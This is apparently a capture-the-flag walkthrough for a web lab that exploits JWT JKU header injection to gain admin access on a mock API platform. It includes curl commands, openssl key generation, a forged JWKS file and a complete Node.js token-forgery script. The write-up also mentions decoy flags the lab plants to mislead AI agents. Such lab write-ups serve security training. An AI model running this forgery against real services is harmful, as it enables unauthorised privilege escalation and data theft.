Lab 114 — APIForge — JWT JKU Header Injection for Privilege Escalation
Lab 114 — APIForge — JWT JKU Header Injection for Privilege Escalation
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_identification, jwks_endpoint_spoofing, jwt_jku_header_injection, role_based_access_control_bypass, rs256_jwt_forgery_with_custom_keypair
Summary
Walkthrough of the CUSTOM Web Lab 114 — APIForge — JWT JKU Header Injection for Privilege Escalation. Task: API management platform using RS256 JWT with JKU federation support; admin config endpoint requires admin role. Solution: Generate custom RSA key pair, host JWKS on lab's internal interaction se
Description
APIForge is a modern API management platform used by development teams to create, document, and monitor their API endpoints. Built by ForgeWorks Inc., the platform features real-time analytics dashboards, API key management, interactive documentation, and team collaboration tools. You have been given credentials for a regular developer account. The platform uses RS256-signed JWT tokens for session authentication. Your objective is to escalate your privileges to gain administrative access and retrieve the secret system configuration from the admin panel. Explore the platform's authentication mechanisms, study how JWT tokens are verified, and look for weaknesses in the key verification process. Credentials: developer@forgeapi.io / apidev2024.
English summary: API management platform with RS256 JWT authentication. Users have roles stored in JWT claims. The admin system configuration endpoint contains the flag but requires admin role. Goal is to exploit the JKU (JWK Set URL) header injection vulnerability to forge a JWT signed with an attacker-controlled key and escalate privileges to admin.
Analysis
-
Application structure: APIForge is an API management platform with login, dashboards, API key management, and an admin panel. Key endpoints:
POST /api/auth/login— Authenticate and receive JWT session cookieGET /.well-known/jwks.json— JWKS endpoint with server's RSA public keyGET /admin/system-config— Admin configuration (requires admin role) — targetGET /js/app.js— Client-side JavaScript revealing AUTH_CONFIG with federation settings
-
Honeypot decoy flags: The application embeds fake flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML comments and divs on every page, designed to trick automated scanners and AI agents into stopping early. These were identified and ignored. -
JWT token analysis: Login with developer credentials returns a JWT signed with RS256:
- Header:
{"alg":"RS256","typ":"JWT","kid":"691464e3-c911-4b2e-8100-fefe9a0c1d8b"} - Payload:
{"sub":1,"email":"developer@forgeapi.io","name":"Jordan Chen","role":"user",...} - The
rolefield isuser— we needadminto access/admin/system-config.
- Header:
-
JWKS endpoint:
/.well-known/jwks.jsonexposes the server's RSA public key with the matchingkid. The server uses this key to verify JWT signatures. -
JKU federation support discovered: The
AUTH_CONFIGobject in/js/app.jsreveals:javascript read-only • copy allowedvar AUTH_CONFIG = { algorithm: 'RS256', tokenType: 'JWT', jwksEndpoint: '/.well-known/jwks.json', tokenCookie: 'session', federation: { enabled: true, headerParam: 'jku' } };The
/docs#key-verificationdocumentation confirms: "When present, the token verifier fetches the signing key from the specified URL instead of the local key store." -
Vulnerability — JWT JKU header injection: The server blindly trusts the
jku(JWK Set URL) header in the JWT. When ajkuURL is present, the server fetches the JWKS from that URL and uses it to verify the token signature, instead of using its own local key store. An attacker can:- Generate their own RSA key pair
- Create a JWKS file with their public key (using the same
kidas the server) - Host the JWKS on an accessible URL
- Forge a JWT with
jkupointing to their JWKS, sign it with their private key - The server fetches the attacker's JWKS, finds the matching
kid, and validates the forged signature
-
Access control: The
/admin/system-configendpoint checks theroleclaim in the JWT and returns 403 "Administrator privileges required" for non-admin tokens.
Solution
Step 1: Login and decode the JWT
bash read-only • copy allowedcurl -s "$URL/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"email":"developer@forgeapi.io","password":"apidev2024"}' \ -c cookies.txt
Decode the JWT session cookie to extract the header (with kid) and payload (with role: user).
Step 2: Fetch the server's JWKS
bash read-only • copy allowedcurl -s "$URL/.well-known/jwks.json"
Note the kid value: 691464e3-c911-4b2e-8100-fefe9a0c1d8b.
Step 3: Discover JKU federation support
Examine /js/app.js to find AUTH_CONFIG with federation: { enabled: true, headerParam: 'jku' }. The documentation at /docs#key-verification confirms the server fetches keys from the jku URL when present.
Step 4: Generate attacker RSA key pair
bash read-only • copy allowedopenssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem
Step 5: Create attacker JWKS file
Extract the RSA public key modulus (n) and exponent (e) and create a JWKS file with the same kid as the server's key:
json read-only • copy allowed{ "keys": [{ "kty": "RSA", "kid": "691464e3-c911-4b2e-8100-fefe9a0c1d8b", "n": "<base64url-encoded modulus>", "e": "AQAB", "use": "sig", "alg": "RS256" }] }
Step 6: Host JWKS on the interaction server
The lab provides an internal interaction server accessible from within the lab network. External hosting (cloudflare tunnels, jsonblob, etc.) does NOT work — the server only fetches from internal/trusted URLs.
Upload the JWKS to the interaction server:
http://interact/cbd5603e-f017-44df-99eb-c3125749d65c/jwks.json
Step 7: Forge admin JWT with JKU header
javascript read-only • copy allowedconst crypto = require('crypto'); const fs = require('fs'); const privateKey = fs.readFileSync('private.pem'); const now = Math.floor(Date.now() / 1000); const header = { alg: 'RS256', typ: 'JWT', kid: '691464e3-c911-4b2e-8100-fefe9a0c1d8b', jku: 'http://interact/cbd5603e-f017-44df-99eb-c3125749d65c/jwks.json' }; const payload = { sub: 1, email: 'developer@forgeapi.io', name: 'Jordan Chen', role: 'admin', // escalated from 'user' iat: now, exp: now + 86400 }; const b64url = (obj) => Buffer.from(JSON.stringify(obj)) .toString('base64url'); const headerB64 = b64url(header); const payloadB64 = b64url(payload); const signingInput = `${headerB64}.${payloadB64}`; const signature = crypto.sign('RSA-SHA256', Buffer.from(signingInput), privateKey) .toString('base64url'); const token = `${signingInput}.${signature}`; console.log(token);
Step 8: Access admin panel with forged token
Set the forged JWT as the session cookie and access the admin endpoint:
bash read-only • copy allowedcurl -s "$URL/admin/system-config" \ -H "Cookie: session=$FORGED_TOKEN"
The server:
- Reads the
jkuURL from the JWT header - Fetches the JWKS from the attacker's interaction server URL
- Finds the key matching
kid: 691464e3-c911-4b2e-8100-fefe9a0c1d8b - Verifies the signature using the attacker's public key — passes
- Reads
role: adminfrom the payload — grants access
The admin panel returns the platform configuration including the flag in the master_secret_key field.
Key Takeaways / Lessons
- Mastering decoy_flag_identification, jwks_endpoint_spoofing, jwt_jku_header_injection, role_based_access_control_bypass, rs256_jwt_forgery_with_custom_keypair was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 114 — APIForge — JWT JKU Header Injection for Privilege Escalation • Difficulty: Medium